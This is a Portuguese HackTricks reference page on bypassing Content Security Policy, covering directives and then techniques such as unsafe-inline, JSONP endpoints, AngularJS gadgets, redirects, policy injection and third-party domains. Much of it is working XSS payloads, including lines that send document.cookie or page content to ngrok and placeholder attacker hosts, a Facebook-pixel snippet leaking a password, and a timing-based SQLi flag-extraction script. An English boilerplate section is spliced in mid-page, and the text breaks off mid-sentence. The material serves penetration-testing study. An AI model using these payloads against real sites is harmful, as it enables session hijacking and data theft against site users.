49 KiB
Bypass de Política de Segurança de Conteúdo (CSP)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud github repos.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Percepções de Hacking
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
O que é CSP
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a proteger contra ataques como scripting entre sites (XSS). Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como eval
, setTimeout
ou setInterval
.
A implementação do CSP é realizada por meio de cabeçalhos de resposta ou incorporando elementos meta na página HTML. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
- Implementado via cabeçalho de resposta:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implementado via meta tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Cabeçalhos
CSP pode ser aplicado ou monitorado usando estes cabeçalhos:
Content-Security-Policy
: Aplica o CSP; o navegador bloqueia quaisquer violações.Content-Security-Policy-Report-Only
: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.
Definindo Recursos
CSP restringe as origens para carregar conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de eval()
. Um exemplo de política é:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Diretivas
- script-src: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
- default-src: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.
- child-src: Especifica recursos permitidos para workers da web e conteúdos de frames incorporados.
- connect-src: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
- frame-src: Restringe URLs para frames.
- frame-ancestors: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como
<frame>
,<iframe>
,<object>
,<embed>
e<applet>
. - img-src: Define fontes permitidas para imagens.
- font-src: Especifica fontes válidas para fontes carregadas usando
@font-face
. - manifest-src: Define fontes permitidas de arquivos de manifesto de aplicativo.
- media-src: Define fontes permitidas para carregar objetos de mídia.
- object-src: Define fontes permitidas para elementos
<object>
,<embed>
e<applet>
. - base-uri: Especifica URLs permitidos para carregar usando elementos
<base>
. - form-action: Lista os pontos finais válidos para envios de formulários.
- plugin-types: Restringe os tipos MIME que uma página pode invocar.
- upgrade-insecure-requests: Instrui os navegadores a reescrever URLs HTTP para HTTPS.
- sandbox: Aplica restrições semelhantes ao atributo sandbox de um
<iframe>
. - report-to: Especifica um grupo para o qual um relatório será enviado se a política for violada.
- worker-src: Especifica fontes válidas para scripts de Worker, SharedWorker ou ServiceWorker.
- prefetch-src: Especifica fontes válidas para recursos que serão buscados ou pré-buscados.
- navigate-to: Restringe os URLs para os quais um documento pode navegar por qualquer meio (a, form, window.location, window.open, etc.)
Fontes
*
: Permite todos os URLs, exceto aqueles com os esquemasdata:
,blob:
,filesystem:
.'self'
: Permite o carregamento do mesmo domínio.'data'
: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).'none'
: Bloqueia o carregamento de qualquer fonte.'unsafe-eval'
: Permite o uso deeval()
e métodos similares, não recomendado por motivos de segurança.'unsafe-hashes'
: Habilita manipuladores de eventos inline específicos.'unsafe-inline'
: Permite o uso de recursos inline como<script>
ou<style>
inline, não recomendado por motivos de segurança.'nonce'
: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).- Se você tiver a execução de JS limitada, é possível obter um nonce usado na página com
doc.defaultView.top.document.querySelector("[nonce]")
e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:
Carregar script reutilizando nonce
```html ```'sha256-<hash>'
: Lista branca de scripts com um hash sha256 específico.'strict-dynamic'
: Permite carregar scripts de qualquer origem se tiver sido listado na lista branca por um nonce ou hash.'host'
: Especifica um host específico, comoexample.com
.https:
: Restringe URLs para aquelas que usam HTTPS.blob:
: Permite que recursos sejam carregados a partir de URLs de Blob (por exemplo, URLs de Blob criadas via JavaScript).filesystem:
: Permite que recursos sejam carregados a partir do sistema de arquivos.'report-sample'
: Inclui uma amostra do código violador no relatório de violação (útil para depuração).'strict-origin'
: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).'strict-origin-when-cross-origin'
: Envia URLs completos ao fazer solicitações de mesma origem, mas envia apenas a origem quando a solicitação é de origem cruzada.'unsafe-allow-redirects'
: Permite que recursos sejam carregados e redirecionem imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
Regras CSP Inseguras
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Trabalhando payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
{% hint style="danger" %} Isso não está funcionando, para mais informações verifique isso. {% endhint %}
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Carga de trabalho em funcionamento:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Se você de alguma forma conseguir fazer com que um código JS permitido crie uma nova tag de script no DOM com seu código JS, porque um script permitido está criando isso, a nova tag de script será permitida a ser executada.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Carga de trabalho em funcionamento:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Falta de object-src e default-src
{% hint style="danger" %} Parece que isso não está mais funcionando {% endhint %}
Content-Security-Policy: script-src 'self' ;
Cargas de trabalho em funcionamento:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Upload de Arquivo + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Se você pode fazer upload de um arquivo JS, você pode contornar esse CSP:
Payload de trabalho:
"/>'><script src="/uploads/picture.png.js"></script>
No entanto, é altamente provável que o servidor esteja validando o arquivo enviado e só permitirá que você envie um tipo específico de arquivo.
Além disso, mesmo que você consiga enviar um código JS dentro de um arquivo usando uma extensão aceita pelo servidor (como: script.png), isso não será suficiente porque alguns servidores como o servidor apache selecionam o tipo MIME do arquivo com base na extensão e navegadores como o Chrome irão rejeitar a execução de código Javascript dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, de um CTF eu aprendi que o Apache não reconhece a extensão .wave, portanto não a serve com um tipo MIME como audio/*.
A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma extensão interpretada erroneamente, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota (alguns exemplos de poliglotas aqui).
Ação de Formulário
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais injetando uma ação de formulário (e talvez esperando que os gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um exemplo neste relatório. Além disso, observe que default-src
não cobre ações de formulário.
Pontos Finais de Terceiros + ('unsafe-eval')
{% hint style="warning" %}
Para alguns dos payloads a seguir, unsafe-eval
nem é necessário.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Carregue uma versão vulnerável do angular e execute JS arbitrário:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads usando Angular + uma biblioteca com funções que retornam o objeto window
(confira este post):
{% hint style="info" %}
O post mostra que você poderia carregar todas as bibliotecas de cdn.cloudflare.com
(ou de qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar quais funções de quais bibliotecas retornam o objeto window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Bypassing Content Security Policy (CSP) using Angular XSS from a class name:
Bypassando a Política de Segurança de Conteúdo (CSP) usando XSS do Angular a partir de um nome de classe:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Explorando o código JS do Google reCAPTCHA
De acordo com este relatório de CTF você pode abusar do https://www.google.com/recaptcha/ dentro de uma CSP para executar código JS arbitrário, burlando a CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Mais cargas úteis deste artigo:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
Abusando do www.google.com para redirecionamento aberto
A seguinte URL redireciona para example.com (de aqui):
https://www.google.com/amp/s/example.com/
Terceiros Endpoints + JSONP
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é feito neste relatório.
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Cenários como este, onde script-src
é definido como self
e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee contém endpoints JSONP prontos para uso para burlar CSP de diferentes sites.
A mesma vulnerabilidade ocorrerá se o endpoint confiável contiver um Redirecionamento Aberto porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.
Abusos de Terceiros
Conforme descrito no seguinte post, existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
Entidade | Domínio Permitido | Capacidades |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
Por exemplo, se você encontrar o seguinte CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
Bypassing Content Security Policy (CSP)
Introduction
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, there are ways to bypass CSP protections and execute malicious code on a website.
Bypass Techniques
1. Inline Script Execution
One common way to bypass CSP is by executing inline scripts. By using techniques such as dynamic script injection or event handlers, an attacker can execute arbitrary code within the context of a page, even if CSP is in place.
2. External Script Execution
Another technique involves loading external scripts from whitelisted domains. If a website allows loading scripts from a specific domain, an attacker can host malicious code on that domain and execute it on the target website.
3. Data: Protocol
Using the data:
protocol is another way to bypass CSP restrictions. By encoding the malicious script in Base64 and using the data:text/javascript;base64,
prefix, an attacker can execute the script within the page.
Conclusion
While Content Security Policy is a powerful security measure to protect web applications from various attacks, it is important to understand the potential bypass techniques that attackers can use to circumvent CSP protections. Web developers should carefully configure their CSP policies and regularly test them to ensure they are effectively mitigating security risks.
Content-Security-Policy: connect-src www.facebook.com;
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com o Google Analytics/Google Tag Manager. Neste caso, siga estes passos gerais:
- Crie uma conta de desenvolvedor no Facebook aqui.
- Crie um novo aplicativo "Facebook Login" e selecione "Website".
- Vá para "Configurações -> Básico" e obtenha o seu "ID do Aplicativo".
- No site alvo de onde deseja exfiltrar dados, pode fazê-lo diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.
- Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione a aplicação que criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
- Selecione a aba "Eventos de Teste" para ver os eventos enviados pelo site "seu".
Em seguida, do lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Bypass através de RPO (Sobrescrita de Caminho Relativo)
Além das redirecionamentos mencionados para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
Por exemplo, se o CSP permitir o caminho https://example.com/scripts/react/
, ele pode ser contornado da seguinte forma:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
O navegador acabará por carregar https://example.com/scripts/angular/angular.js
.
Isso funciona porque, para o navegador, você está carregando um arquivo chamado ..%2fangular%2fangular.js
localizado em https://example.com/scripts/react/
, o que está em conformidade com CSP.
Assim, ele irá decodificá-lo, solicitando efetivamente https://example.com/scripts/react/../angular/angular.js
, o que é equivalente a https://example.com/scripts/angular/angular.js
.
Ao explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas.
A solução é não tratar %2f
como /
no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
Exemplo Online: https://jsbin.com/werevijewa/edit?html,output
Execução de JS em Iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
base-uri ausente
Se a diretiva base-uri estiver ausente, você pode abusar dela para realizar uma injeção de marcação pendente.
Além disso, se a página estiver carregando um script usando um caminho relativo (como <script src="/js/app.js">
) usando um Nonce, você pode abusar da tag base para fazer com que ele carregue o script do seu próprio servidor alcançando um XSS.
Se a página vulnerável for carregada com httpS, use um URL httpS na tag base.
<base href="https://www.attacker.com/">
Eventos do AngularJS
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único $event
, fazendo referência ao objeto de evento do navegador nativo. Este objeto $event
pode ser explorado para contornar o CSP. Notavelmente, no Chrome, o objeto $event/event
possui um atributo path
, que contém uma matriz de objetos implicados na cadeia de execução do evento, com o objeto window
posicionado invariavelmente no final. Esta estrutura é fundamental para táticas de escape de sandbox.
Ao direcionar esta matriz para o filtro orderBy
, é possível iterar sobre ela, aproveitando o elemento terminal (o objeto window
) para acionar uma função global como alert()
. O trecho de código demonstrado abaixo esclarece este processo:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Este trecho destaca o uso da diretiva ng-focus
para acionar o evento, empregando $event.path|orderBy
para manipular o array path
, e aproveitando o objeto window
para executar a função alert()
, revelando assim document.cookie
.
Encontre outras formas de burlar o Angular em https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS e domínio na lista branca
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Uma política CSP que lista domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste repositório git.
Cargas de trabalho funcionais:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Outros pontos de execução arbitrária JSONP podem ser encontrados aqui (alguns deles foram excluídos ou corrigidos)
Bypass via Redirection
O que acontece quando CSP encontra uma redireção do lado do servidor? Se a redireção levar a uma origem diferente que não é permitida, ela ainda falhará.
No entanto, de acordo com a descrição em CSP spec 4.2.2.3. Paths and Redirects, se a redireção levar a um caminho diferente, ela pode contornar as restrições originais.
Aqui está um exemplo:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Se o CSP estiver definido como https://www.google.com/a/b/c/d
, uma vez que o caminho é considerado, tanto os scripts /test
quanto /a/test
serão bloqueados pelo CSP.
No entanto, o http://localhost:5555/301
final será redirecionado no lado do servidor para https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Como se trata de um redirecionamento, o caminho não é considerado e o script pode ser carregado, contornando assim a restrição de caminho.
Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.
Bypass CSP com marcação pendente
Leia aqui como fazer.
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
significa que você pode executar qualquer script dentro do código (XSS pode executar código) e img-src *
significa que você pode usar na página web qualquer imagem de qualquer recurso.
Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
De: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Também é possível abusar dessa configuração para carregar código JavaScript inserido dentro de uma imagem. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você poderia criar uma imagem especial, carregá-la no Twitter e abusar do "unsafe-inline" para executar um código JS (como um XSS regular) que irá carregar a imagem, extrair o JS dela e executá-lo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Com Service Workers
A função importScripts
dos service workers não é limitada pelo CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Injeção de Política
Pesquisa: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Se um parâmetro enviado por você está sendo colado dentro da declaração da política, então você poderia alterar a política de alguma forma que a torne inútil. Você poderia permitir script 'unsafe-inline' com qualquer um desses bypasses:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Porque esta diretiva irá sobrescrever diretivas script-src existentes.
Você pode encontrar um exemplo aqui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
No Edge é muito mais simples. Se você adicionar no CSP apenas isso: ;_
o Edge irá descartar toda a política.
Exemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Ataque de tempo
Observe a falta da diretiva 'unsafe-inline'
Desta vez, você pode fazer a vítima carregar uma página sob seu controle via XSS com um <iframe>
. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (CSRF). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder controlar o tempo que a página precisa para carregar, poderá extrair as informações necessárias.
Desta vez, uma bandeira será extraída, sempre que um caractere for corretamente adivinhado via SQLi, a resposta levará mais tempo devido à função de pausa. Em seguida, você poderá extrair a bandeira:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
Via Bookmarklets
Este ataque implicaria alguma engenharia social onde o atacante convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador. Este bookmarklet conteria código javascript malicioso que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, burlando o CSP e permitindo roubar informações sensíveis como cookies ou tokens.
Para mais informações verifique o relatório original aqui.
Bypass de CSP restringindo CSP
Neste writeup do CTF, o CSP é burlado injetando em um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via poluição de protótipo ou dom clobbering permitia abusar de um script diferente para carregar um script arbitrário.
Você pode restringir um CSP de um Iframe com o atributo csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
No writeup deste CTF, foi possível através de injeção de HTML restringir ainda mais um CSP para que um script que impedia CSTI fosse desativado e, portanto, a vulnerabilidade se tornasse explorável.
CSP pode ser tornado mais restritivo usando meta tags HTML e scripts inline podem ser desativados removendo a entrada permitindo seu nonce e habilitando scripts inline específicos via sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Exfiltração de JS com Content-Security-Policy-Report-Only
Se você conseguir fazer o servidor responder com o cabeçalho Content-Security-Policy-Report-Only
com um valor controlado por você (talvez por causa de um CRLF), você poderia fazer com que ele apontasse para o seu servidor e se você envolver o conteúdo JS que deseja exfiltrar com <script>
e porque é altamente provável que unsafe-inline
não seja permitido pelo CSP, isso irá disparar um erro de CSP e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir do Content-Security-Policy-Report-Only
.
Para um exemplo verifique este writeup de CTF.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Vazamento de Informações com CSP e Iframe
- Um
iframe
é criado apontando para uma URL (vamos chamá-la dehttps://example.redirect.com
) que é permitida pelo CSP. - Essa URL então redireciona para uma URL secreta (por exemplo,
https://usersecret.example2.com
) que não é permitida pelo CSP. - Ao escutar o evento
securitypolicyviolation
, é possível capturar a propriedadeblockedURI
. Essa propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na ajustagem do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar esse método:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir as possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.
Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.
Truque de aqui.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Percepções de Hacking
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Tecnologias Inseguras para Bypass CSP
Erros PHP ao ter muitos parâmetros
De acordo com a última técnica comentada neste vídeo, enviar muitos parâmetros (1001 parâmetros GET, embora também seja possível com parâmetros POST e mais de 20 arquivos). Qualquer header()
